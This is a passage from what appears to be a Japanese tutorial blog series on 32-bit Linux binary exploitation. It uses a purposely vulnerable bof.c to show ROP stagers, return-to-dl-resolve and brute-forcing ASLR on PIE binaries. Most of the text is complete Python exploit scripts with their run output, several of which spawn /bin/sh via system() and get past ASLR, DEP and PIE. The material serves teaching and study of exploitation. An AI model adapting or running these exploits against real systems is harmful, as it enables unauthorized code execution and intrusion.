buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read r_debug and link_map
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_r_debug
buf2 += struct.pack('<I', size_bulkread)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read link_map_lib
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_link_map_lib
buf2 += struct.pack('<I', 20)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+52)
buf2 += struct.pack('<I', 4)

# read lib_dynamic and lib_gotplt
addr_esp += 40
buf2 += struct.pack('<I', addr_plt_write)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 1)
buf2 += 'AAAA'  # addr_lib_dynamic
buf2 += struct.pack('<I', size_bulkread)
buf2 += struct.pack('<I', addr_plt_read)
buf2 += struct.pack('<I', addr_pop3)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', addr_esp+40)
buf2 += struct.pack('<I', 8)

# call dl_resolve
addr_esp += 40
addr_reloc = addr_esp + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7

reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr

buf2 += 'AAAA'  # addr_dl_resolve
buf2 += 'AAAA'  # addr_link_map
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_bss)  # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)   # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (100-len(buf2))

# execution part
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)

data = p.stdout.read(4)
addr_r_debug = struct.unpack('<I', data)[0]
print "[+] addr_r_debug = %08x" % addr_r_debug
p.stdin.write(struct.pack('<I', addr_r_debug))

data = p.stdout.read(size_bulkread)
addr_link_map = struct.unpack('<I', data[4:8])[0]
offset = addr_link_map - addr_r_debug
addr_link_map_lib = struct.unpack('<I', data[offset+12:offset+16])[0]
print "[+] addr_link_map, addr_link_map_lib = %08x, %08x" % (addr_link_map, addr_link_map_lib)
p.stdin.write(struct.pack('<I', addr_link_map_lib))

data = p.stdout.read(20)
addr_lib_dynamic = struct.unpack('<I', data[8:12])[0]
print "[+] addr_lib_dynamic = %08x" % addr_lib_dynamic
p.stdin.write(struct.pack('<I', addr_lib_dynamic))

data = p.stdout.read(size_bulkread)
addr_lib_gotplt = struct.unpack('<I', data.split('\x03\x00\x00\x00')[1][:4])[0]
offset = addr_lib_gotplt - addr_lib_dynamic
addr_dl_resolve = struct.unpack('<I', data[offset+8:offset+12])[0]
print "[+] addr_lib_gotplt, addr_dl_resolve = %08x, %08x" % (addr_lib_gotplt, addr_dl_resolve)
p.stdin.write(struct.pack('<II', addr_dl_resolve, addr_link_map))

p.wait()

ここでは、size_bulkreadの値を0x400に変更し、このサイズだけまとめて読み出した後必要な値を抜き出している。

実行してみると次のようになる。

$ python exploit2.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08'
[+] addr_r_debug = b7733904
[+] addr_link_map, addr_link_map_lib = b7733918, b7711858
[+] addr_lib_dynamic = b7702d7c
[+] addr_lib_gotplt, addr_dl_resolve = b7702ff4, b77266a0
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

より少ない読み書き回数で、シェルが起動できていることが確認できた。

関連リンク

ROP stager + Return-to-dl-resolve + ブルートフォースによる32bit ASLR+PIE+DEP回避

「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、libcバイナリに依存しない形でASLR+DEPが有効な条件下におけるシェル起動を行った。 ここでは、さらに実行ファイルがPIEの場合についてブルートフォースによるシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、PIE、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -fPIE -pie bof.c

$ echo -e "\x04\x00\x00\x00AAAA" | ./a.out
AAAA

readelfコマンドでセクション情報を表示すると、各セクションのアドレスが小さな値(ファイル先頭からのオフセット)になっており、PIEであることが確認できる。

$ readelf -S a.out
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        00000154 000154 000013 00   A  0   0  1
  ...
  [12] .plt              PROGBITS        00000400 000400 000060 04  AX  0   0 16
  [13] .text             PROGBITS        00000460 000460 000228 00  AX  0   0 16
  ...
  [23] .got.plt          PROGBITS        00001ff4 000ff4 000020 04  WA  0   0  4
  [24] .data             PROGBITS        00002014 001014 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0000201c 00101c 000008 00  WA  0   0  4
  ...

ASLRが無効な場合に対するエクスプロイトコードを書いてみる

ASLRは実行時のメモリ配置に関するセキュリティ機構であり、ASLRが有効でも無効でもコンパイルされた実行ファイルは同一である。 そこで、手始めにASLRが無効な場合について考えてみる。

readelfコマンドおよびobjdumpコマンドを使い、実行ファイルのセクション情報およびディスアセンブル結果を書き出してみる。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

出力したデータをもとに、ROP stagerによる固定アドレス書き込み、Return-to-dl-resolveによるsystem関数呼び出しを行うエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

base_bin = int(sys.argv[1], 16)
bufsize = int(sys.argv[2])

addr_dynsym = base_bin + 0x1e0       # readelf -S a.out
addr_dynstr = base_bin + 0x2a0       # readelf -S a.out
addr_relplt = base_bin + 0x3a8       # readelf -S a.out
addr_plt = base_bin + 0x400          # readelf -S a.out
addr_gotplt = base_bin + 0x1ff4      # readelf -S a.out
addr_bss = base_bin + 0x201c         # readelf -S a.out
addr_plt_read = base_bin + 0x410     # objdump -d -j.plt a.out
addr_got_read = addr_gotplt + 0xc    # objdump -d -j.plt a.out

addr_pop3 = base_bin + 0x62d         # objdump -d a.out
addr_pop_ebp = base_bin + 0x62f      # objdump -d a.out
addr_leave_ret = base_bin + 0x5cd    # objdump -d a.out
addr_pop_ebx = base_bin + 0x3fc      # objdump -d a.out

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'AAAA' * 3
buf1 += struct.pack('<I', addr_pop_ebx)
buf1 += struct.pack('<I', addr_gotplt)
buf1 += struct.pack('<I', addr_plt_read)
buf1 += struct.pack('<I', addr_pop3)
buf1 += struct.pack('<I', 0)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', 100)
buf1 += struct.pack('<I', addr_pop_ebp)
buf1 += struct.pack('<I', base_stage)
buf1 += struct.pack('<I', addr_leave_ret)

addr_reloc = base_stage + 20
addr_sym = addr_reloc + 8
align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF)
addr_sym += align_dynsym
addr_symstr = addr_sym + 16
addr_cmd = addr_symstr + 7

reloc_offset = addr_reloc - addr_relplt
r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAA'
buf2 += struct.pack('<I', addr_plt)
buf2 += struct.pack('<I', reloc_offset)
buf2 += 'AAAA'
buf2 += struct.pack('<I', addr_cmd)
buf2 += struct.pack('<I', addr_got_read - base_bin)  # Elf32_Rel
buf2 += struct.pack('<I', r_info)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)                   # Elf32_Sym
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0)
buf2 += struct.pack('<I', 0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (100-len(buf2))

# execution part
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<I', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)
p.wait()

このコードは実行ファイルのベースアドレス、オーバーフローさせるバッファのサイズを順に引数に取る。 コードの内容は基本的にはPIEでない場合と同じであるが、以下について修正する必要がある。

  • PIEではebxレジスタにGOTセクションの先頭アドレスがセットされ、PLTにて利用される。そのため、最初にebxレジスタにGOTセクションの先頭アドレスをセットする。
  • Elf32_Rel構造体のreloc_offsetには実際に配置されたアドレスではなく、ファイル先頭からのオフセット値が入る。

ASLRを一旦無効にし、gdbで実行ファイルのベースアドレスを調べてみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x560
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x80000560 in main ()
(gdb) i proc map
process 1780
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        0x80000000 0x80001000     0x1000        0x0 /home/user/tmp/a.out
        0x80001000 0x80002000     0x1000        0x0 /home/user/tmp/a.out
        0x80002000 0x80003000     0x1000     0x1000 /home/user/tmp/a.out
        ...
(gdb) quit

この結果から、実行ファイルのベースアドレスが0x80000000であることがわかる。

引数をセットし、エクスプロイトコードを実行してみる。

$ python exploit.py 0x80000000 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfc\x03\x00\x80\xf4\x1f\x00\x80\x10\x04\x00\x80-\x06\x00\x80\x00\x00\x00\x00\x1c(\x00\x80d\x00\x00\x00/\x06\x00\x80\x1c(\x00\x80\xcd\x05\x00\x80'
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

PIEな実行ファイルに対し、ASLRが無効な条件下でシェルが起動できていることがわかる。

ASLRを有効にしてブルートフォースしてみる

実行ファイルのベースアドレスが一致すればシェルが起動することを確認できたので、ASLRが有効な場合について考えてみる。 事前にbuffer over-readによるスタック上のリターンアドレスの書き出しなどができる場合は、これをもとにベースアドレスを計算すればよい。 ベースアドレスの計算ができない場合でも、32bit環境であればブルートフォースによる方法が可能である。

ASLRを有効にし、gdbを使ってベースアドレスが変化する様子を調べてみる。 ここで、gdbはデフォルトでASLRを無効化するため、set disable-randomization offを実行する必要があることに注意する。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x560
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0xb776c560 in main ()
(gdb) i proc map
process 2111
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        ...
        0xb776c000 0xb776d000     0x1000        0x0 /home/user/tmp/a.out
        0xb776d000 0xb776e000     0x1000        0x0 /home/user/tmp/a.out
        0xb776e000 0xb776f000     0x1000     0x1000 /home/user/tmp/a.out
        ...
(gdb) start
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Temporary breakpoint 2 at 0xb776c560
Starting program: /home/user/tmp/a.out

Temporary breakpoint 2, 0xb7779560 in main ()
(gdb) i proc map
process 2114
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        ...
        0xb7779000 0xb777a000     0x1000        0x0 /home/user/tmp/a.out
        0xb777a000 0xb777b000     0x1000        0x0 /home/user/tmp/a.out
        0xb777b000 0xb777c000     0x1000     0x1000 /home/user/tmp/a.out
        ...
(gdb) quit

繰り返し実行すると、実行ファイルのベースアドレスが0xb77XX000(XX=00-ff)あるいは0xb7800000の範囲で変化していることがわかる。 つまり、32bit環境であれば0x100(=256)回程度の試行でベースアドレスが一致すると考えられる。

引数で与えたベースアドレスのもと、繰り返し試行するようにエクスプロイトコードを修正してみる。

# exploit-bf.py

(snip)

# execution part
i = 0
while True:
    print >>sys.stderr, "[+] trial: %d" % (i+1)
    p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

    p.stdin.write(struct.pack('<I', len(buf1)))
    p.stdin.write(buf1)
    # print "[+] read: %r" % p.stdout.read(len(buf1))

    p.stdin.write(buf2)
    p.wait()

    i += 1

ベースアドレスに取り得る適当なアドレスを引数にセットし、実行してみる。

$ python exploit.py 0xb7779000 100
[+] trial: 1
[+] trial: 2
[+] trial: 3
[+] trial: 4
(snip)
[+] trial: 334
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
[+] trial: 335
[CTRL+C]
Traceback (most recent call last):
  File "exploit.py", line 76, in <module>
    p.wait()
  File "/usr/lib/python2.7/subprocess.py", line 1291, in wait
    pid, sts = _eintr_retry_call(os.waitpid, self.pid, 0)
  File "/usr/lib/python2.7/subprocess.py", line 478, in _eintr_retry_call
    return func(*args)
KeyboardInterrupt

32bitのASLRが有効な条件下のもと、334回の試行でシェルが起動できていることが確認できた。

関連リンク

ROP stager + Return-to-dl-resolveによるASLR+DEP回避

「ROP stager + read/writeによるASLR+DEP回避」では、PLT中のwrite関数を使うことでlibcのベースアドレスを特定し、system関数によるシェル起動を行った。 この方法では各ライブラリ関数のオフセットを調べておく必要があるが、このオフセットはlibcの種類やバージョンごとに異なるため、不明な場合は最初にこれを特定する必要がある。 しかし、ライブラリ関数の初回呼び出し時におけるアドレス解決の仕組みを利用すると、libcの種類によらず任意のライブラリ関数を呼ぶことが可能になる。 この方法はReturn-to-dl-resolveなどと呼ばれる。 ここではASLR+DEPが有効な状況下で、ROP stagerによる固定アドレス書き込みおよびReturn-to-dl-resolveを使ったシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「ROP stager + read/writeによるASLR+DEP回避」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に4バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector bof.c

$ echo -e "\x04\x00\x00\x00AAAA" | ./a.out
AAAA

ELF relocationの仕組み

ELF形式の実行ファイルでは、PLTおよびGOTと呼ばれるテーブルを使い、ライブラリ関数のアドレスを初回実行時に動的に解決する。 この処理はダイナミックリンカと呼ばれるライブラリが行い、a.out形式の場合はld.so、ELF形式の場合はld-linux.soがこれに対応する。 また、これらの実装はglibcにある。

上のプログラムをディスアセンブルし、write関数呼び出し時の流れを確認してみる。 まず、write関数はmain関数の中で次のようにして呼び出される。

$ objdump -d a.out
Disassembly of section .text:

08048404 <main>:
 8048404:       55                      push   ebp
 8048405:       89 e5                   mov    ebp,esp
 ...
 8048455:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 804845c:       e8 df fe ff ff          call   8048340 <write@plt>
 8048461:       b8 00 00 00 00          mov    eax,0x0
 8048466:       c9                      leave
 8048467:       c3                      ret

write@pltは実行ファイルの.pltセクションに置かれており、中身は次のようになっている。

08048340 <write@plt>:
 8048340:       ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 8048346:       68 18 00 00 00          push   0x18
 804834b:       e9 b0 ff ff ff          jmp    8048300 <_init+0x30>

0x804a00cは.got.pltセクションの中にあり、この中身は初回呼び出し時はjmpの次の命令を指す0x8048346となっている。 そしてアドレスの解決が行われると、このアドレスは実際に解決されたlibc内のwrite関数のアドレスに書き換えられ、以降の呼び出しは直接write関数にジャンプするようになる。 初回呼び出し時は、スタックに0x18をpushした後、.pltセクションの先頭にある処理にジャンプする。

08048300 <read@plt-0x10>:
 8048300:       ff 35 f8 9f 04 08       push   DWORD PTR ds:0x8049ff8
 8048306:       ff 25 fc 9f 04 08       jmp    DWORD PTR ds:0x8049ffc
 804830c:       00 00                   add    BYTE PTR [eax],al
        ...

ここで、0x8049ff8および0x8049ffcは実行ファイルの.gotセクションの2ワード目、3ワード目であり、実行時にld-linux.soのアドレスが入る。 具体的にはそれぞれ.bssセクションの後ろのアドレス、_dl_runtime_resolve関数のアドレスとなり、前者がスタックに積まれた後、後者の関数にジャンプすることになる。 _dl_runtime_resolve関数はアーキテクチャごとに異なる実装になっており、x86の場合は次のようになっている。

        .text
        .globl _dl_runtime_resolve
        .type _dl_runtime_resolve, @function
        cfi_startproc
        .align 16
_dl_runtime_resolve:
        cfi_adjust_cfa_offset (8)
        pushl %eax              # Preserve registers otherwise clobbered.
        cfi_adjust_cfa_offset (4)
        pushl %ecx
        cfi_adjust_cfa_offset (4)
        pushl %edx
        cfi_adjust_cfa_offset (4)
        movl 16(%esp), %edx     # Copy args pushed by PLT in register.  Note
        movl 12(%esp), %eax     # that `fixup' takes its parameters in regs.
        call _dl_fixup          # Call resolver.
        popl %edx               # Get register content back.
        cfi_adjust_cfa_offset (-4)
        movl (%esp), %ecx
        movl %eax, (%esp)       # Store the function address.
        movl 4(%esp), %eax
        ret $12                 # Jump to function address.
        cfi_endproc
        .size _dl_runtime_resolve, .-_dl_runtime_resolve

コードとコメントから、レジスタにセットしたスタック上の値を引数として、本体である_dl_fixup関数が呼ばれることがわかる。 ここでセットされる値は、先にpushした.bssセクションの次のアドレスと0x18である。

_dl_fixup関数の実装は次にある。

この関数は概ね以下に説明する流れでアドレス解決を行う。 なお、各構造体は次のように定義されている。

typedef uint32_t Elf32_Word;
typedef uint32_t Elf32_Addr;
typedef uint16_t Elf32_Section;

typedef struct
{
  Elf32_Addr    r_offset;               /* Address */
  Elf32_Word    r_info;                 /* Relocation type and symbol index */
} Elf32_Rel;

#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)               ((val) & 0xff)

typedef struct
{
  Elf32_Word    st_name;                /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;               /* Symbol value */
  Elf32_Word    st_size;                /* Symbol size */
  unsigned char st_info;                /* Symbol type and binding */
  unsigned char st_other;               /* Symbol visibility */
  Elf32_Section st_shndx;               /* Section index */
} Elf32_Sym;
  1. 実行ファイルの.rel.pltセクションを参照し、reloc_offset (=0x18) の位置にあるELF32_Rel構造体relocを見る
  2. 実行ファイルの.dynsymセクションにあるElf32_Sym構造体の配列を参照し、reloc->rel_info >> 8番目の要素symを見る
  3. 実行ファイルの.dynstrセクションを参照し、sym->st_nameのオフセット位置にある文字列を見る
  4. この文字列を関数名とする関数のアドレスを解決し、reloc->rel_offsetに入っているGOTアドレスに書き込む
  5. 解決したアドレスにジャンプし、ライブラリ関数本体が実行される

ここで、reloc_offset (=0x18) が.pltセクションの先頭にジャンプする前にpushされる任意の32bit整数であることを考える。 すると、次のように調整することで任意のライブラリ関数が呼べそうなことがわかる。

  1. 適当なELF32_Rel構造体reloc2を指すようにreloc_offsetを計算し、これをスタックに置いた状態で.pltセクションの先頭にジャンプする
  2. 適当なElf32_Sym構造体sym2を指すようにインデックスreloc2->rel_info >> 8を計算してセットしておく
  3. 適当な文字列を指すように、sym2->st_nameのオフセット値を計算してセットしておく
  4. 呼び出したい関数名を適当な文字列として置いておく

これを行うには、用意した構造体や文字列のアドレスを知っておく必要がある。 ここではROP stagerを使い固定アドレスにデータを書き込むことで、これらのアドレスを計算できるようにする。

エクスプロイトコードを書いてみる

上の内容をもとに、ステップバイステップで確認しながらエクスプロイトコードを書いてみる。

ROP stagerでReturn-to-pltしてみる

ROP stagerで.bssセグメントにデータを書き込みstack pivotした後、PLTセクションにあるwrite関数を呼ぶコードを書くと次のようになる。 具体的な手順は「ROP stager + read/writeによるASLR+DEP回避」と同じである。

# test1.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_plt_read = 0x08048310   # objdump -d -j.plt a.out
addr_plt_write = 0x08048340  # objdump -d -j.plt a.out
addr_bss = 0x0804a018        # readelf -S a.out

addr_pop3 = 0x080484cd       # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
addr_pop_ebp = 0x080483d3    # 0x08048433: pop ebp ; ret  ;  (3 found)
addr_leave_ret = 0x08048401  # 0x08048461: leave  ; ret  ;  (2 found)

stack_size = 0x800
base_stage = addr_bss + stack_size

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', addr_plt_read)
buf += struct.pack('<I', addr_pop3)
buf += struct.pack('<I', 0)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', 100)
buf += struct.pack('<I', addr_pop_ebp)
buf += struct.pack('<I', base_stage)
buf += struct.pack('<I', addr_leave_ret)

p.stdin.write(struct.pack('<I', len(buf)))
p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(buf))

# 2nd stage
cmd = '/bin/sh <&2 >&2'

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_write)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

このコードはオーバーフローさせるバッファのサイズを引数に取る。 また、libcのベースアドレスの書き出しやオフセットの計算などは行っていない。

引数をセットし実行すると次のようになる。

$ python test1.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

write@plt関数により、与えた文字列が書き出されていることが確認できる。

直接relocationさせてみる

次に、write@pltにジャンプする代わりにpltセクションの先頭に直接ジャンプしてみる。 すでに確認したように、このプログラムのwrite@pltにおけるreloc_offsetは0x18である。 これをジャンプするアドレスの次に挿入すれば、通常のジャンプ時と同じスタックの状態となる。

# test2.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
reloc_offset = 0x18          # objdump -d -j.plt a.out

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

実行すると、同じ結果となることが確認できる。

$ python test2.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

Relocationテーブルを作ってみる

次に、適当なRel32_Rel構造体を作り、これに合わせて計算したreloc_offsetを指定してみる。 まず、write@pltが参照している構造体について調べてみる。

$ objdump -s -j.rel.plt a.out
Contents of section .rel.plt:
 80482b0 00a00408 07010000 04a00408 07020000  ................
 80482c0 08a00408 07030000 0ca00408 07040000  ................

ここで、バイト列がビッグエンディアンで並んでいることに注意する。 上の結果から、.rel.pltセクションの先頭アドレスは0x80482b0、本来のreloc_offsetである0x18の位置には0x804a00c、0x407が入っていることがわかる。 r_offsetに相当する0x804a00cはwrite@plt関数が参照するGOTアドレスであり、この位置に解決されたwrite関数のアドレスが書き込まれることになる。

この結果を元にコードを書き換えてみると次のようになる。

# test3.py

(snip)

# 2nd stage
cmd = '/bin/sh <&2 >&2'
addr_plt_start = 0x08048300  # objdump -d -j.plt a.out
#reloc_offset = 0x18         # objdump -d -j.plt a.out
addr_relplt = 0x80482b0      # objdump -s -j.rel.plt a.out
reloc_offset = (base_stage+28) - addr_relplt
addr_got_write = 0x804a00c   # objdump -s -j.rel.plt a.out
r_info = 0x407               # objdump -s -j.rel.plt a.out

buf = 'AAAA'
buf += struct.pack('<I', addr_plt_start)
buf += struct.pack('<I', reloc_offset)
buf += 'AAAA'
buf += struct.pack('<I', 1)
buf += struct.pack('<I', base_stage+80)
buf += struct.pack('<I', len(cmd))
buf += struct.pack('<I', addr_got_write)  # Elf32_Rel
buf += struct.pack('<I', r_info)
buf += 'A' * (80-len(buf))
buf += cmd + '\x00'
buf += 'A' * (100-len(buf))

p.stdin.write(buf)
print "[+] read: %r" % p.stdout.read(len(cmd))
p.wait()

実行すると、同じ結果となることが確認できる。

$ python test3.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x18\xa8\x04\x08d\x00\x00\x00\xd3\x83\x04\x08\x18\xa8\x04\x08\x01\x84\x04\x08'
[+] read: '/bin/sh <&2 >&2'

シンボルテーブルを作ってみる

さらに、適当なElf32_Sym構造体を作り、これに合わせて計算した配列のインデックスreloc->r_info >> 8を指定してみる。 まず、.dynsymセクションにあるシンボルテーブルと、このテーブルが参照する.dynstrセクションを確認する。

$ objdump -s -j.dynsym a.out
Contents of section .dynsym:
 80481cc 00000000 00000000 00000000 00000000  ................
 80481dc 29000000 00000000 00000000 12000000  )...............
 80481ec 01000000 00000000 00000000 20000000  ............ ...
 80481fc 2e000000 00000000 00000000 12000000  ................
 804820c 40000000 00000000 00000000 12000000  @...............
 804821c 1a000000 3c850408 04000000 11000f00  ....<...........

$ objdump -s -j.dynstr a.out
Contents of section .dynstr:
 804822c 005f5f67 6d6f6e5f 73746172 745f5f00  .__gmon_start__.
 804823c 6c696263 2e736f2e 36005f49 4f5f7374  libc.so.6._IO_st
 804824c 64696e5f 75736564 00726561 64005f5f  din_used.read.__
 804825c 6c696263 5f737461 72745f6d 61696e00  libc_start_main.
 804826c 77726974 6500474c 4942435f 322e3000  write.GLIBC_2.0.

